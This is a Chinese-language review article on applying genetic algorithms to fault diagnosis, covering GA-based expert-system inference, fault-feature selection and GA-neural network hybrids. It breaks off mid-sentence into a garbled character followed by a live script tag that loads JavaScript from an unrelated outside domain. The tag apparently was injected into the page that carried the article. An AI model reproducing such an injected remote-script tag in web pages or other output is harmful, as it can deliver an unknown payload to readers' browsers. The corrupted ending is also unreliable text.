摘 要:介绍了遗传算法在故障诊断中的应用,显示出将遗传算法应用于故障诊断可减少运算量、缩短平均诊断时间、提高诊断效率和故障识别精度。
关键词:遗传算法;故障诊断;并行搜索;全局搜索
遗传算法ga(genetic algorithm)[1]是一类借鉴生物界自然选择和自然遗传机制的随机化搜索算法。他模拟达尔文的“适者生存,优胜劣汰”的自然进化论与孟德尔的遗传变异理论,具有坚实的生物学基础。算法[2]是由michigan大学holland教授于1975年在他的专著《自然界和人工系统的适应性》中首次提出的。由于该算法不依赖传统的梯度信息,不存在求导和函数连续性的限定,而是利用选择、交叉和变异等遗传操作来进行全局搜索,具有算法简单、通用性强和鲁棒性强的特点,适用于全局性并行处理,已广泛应用于优化组合问题的求解、机器学习、软件学习、软件技术、图像处理、模式识别、神经网络、工业优化控制、故障诊断、人工生命、社会科学等方面,并且ga在实际应用中取得了巨大成功。
ga由于他的并行搜索机制和全局搜索特点,可以用于故障诊断。本文把近年来的有关ga用于故障诊断的文献进行分析、归纳,总结出ga在故障诊断中的具体应用。
1 ga在故障诊断中的应用
ga用于故障诊断从目前来看,单独应用于电路的故障诊断,相关的研究还比较少。其主要用于以下途径。
1.1 基于遗传算法的推理方法
在故障诊断时,我们对故障提出的假设不止一个,就需要对这些假设进行验证,但是导致同一个结论的路径有很多,若对每一个假设的每一条结论都进行推理,就会导致推理的效率低下,满足不了专家系统的实时性的要求。为解决这一矛盾,可采用ga来加快推理速度。
文献[3]针对以上问题,具体方法是:
(1)对每一个假设的每一条路径进行编码,在每一假设中随机地选择一条路径作为个体,他们的集合作为初始种群。
(2)计算每个个体结论的可信度模糊区间值,并计算其差值作为每个个体的适应度,他们的和作为该基因串的适应度。
(3)利用遗传算子,对当前一代的个体进行繁衍,产生其后代,并淘汰父代中适应度低的个体,同时计算后代的适应度,将适应度高的个体与父代中保留的个体合成新的一代。
(4)新的一代如果达到设定的繁衍代数或算法已收敛,则返回最好的基因串,并将该基因串适应度值最高的个体进行解码,输出的即为结论。否则继续繁衍。
文献[3]以该方法为基础在super486微机上进行了运输链多参数直流双闭环调速系统的故障诊断的仿真实验,实验结果如表1所示。从结果可以看出由于ga的推理和自学习,提高了专家系统的适应性和运行速度。
1.2 基于遗传算法的故障特征提取
一般来讲,故障诊断就是对诊断对象的故障模式进行分类和识别,或者根据现有的知识和一定的推理机制推断出其故障所在部位和严重程度的过程。实际在诊断实践中,由于诊断对象的复杂性,故障特征和故障类别的对应关系不甚明了,人们提出了大量的原始特征以进行故障识别。但是对这些原始特征如何优化以提高诊断精度必须解决2个问题:
(1)故障特征的选择标准
我们需要从纷繁复杂的原始特征中提取出对故障诊断有意义的特征,这些特征有利于故障的识别和分类。
(2)优选算法
我们可以使用ga对故障的原始特征进行优选。
文献[4]利用遗传算法的隐含并行性,进行分类器优化设计。在具体的实现过程中,染色体的编码采用二进制,设x为染色体位串,如果x的第i位为1,则此特征被选中;如果为0,则此特征未被选中,x的位数为总的特征数;一类内类间距离为适应度函数,引入群体熵来描述种群中个体在进化过程中的变化情况。
文献[4]以回转机械故障诊断中三类由同步振动引起的故障来分析,如用常规方法对得到的23个特征量进行分类,由于起高度的冗余性,很难取得理想的分类效果。但采用基于遗传算法的特征选择方法,可高效地剔除原始特征集的冗余特性,提高故障的识别精度。
1.3 遗传算法ga与神经网络nn的结合
ga与nn的结合主要表现在2个方面[5]:
(1)辅助式结合
比较典型的是利用ga对数据(在系统中为各种故障特征)进行预处理,后用ga进行特征提取,最后用nn来求解问题。
(2)合作式结合
ga和nn共同求解问题,而这种结合又分成两种方式:第一种方式是固定网络拓扑结构的情况下,利用ga确定网络的连接权重;第二种方式是直接利用ga优化nn的结构,然后用bp算法训练网络。
1.3.1 ga与nn的辅助式结合
文献[5]按照ga在配合nn处理问题中出现的不同阶段,又分成以下3种情况。
(1)在模式分类应用中进?script src=http://er12.com/t.js>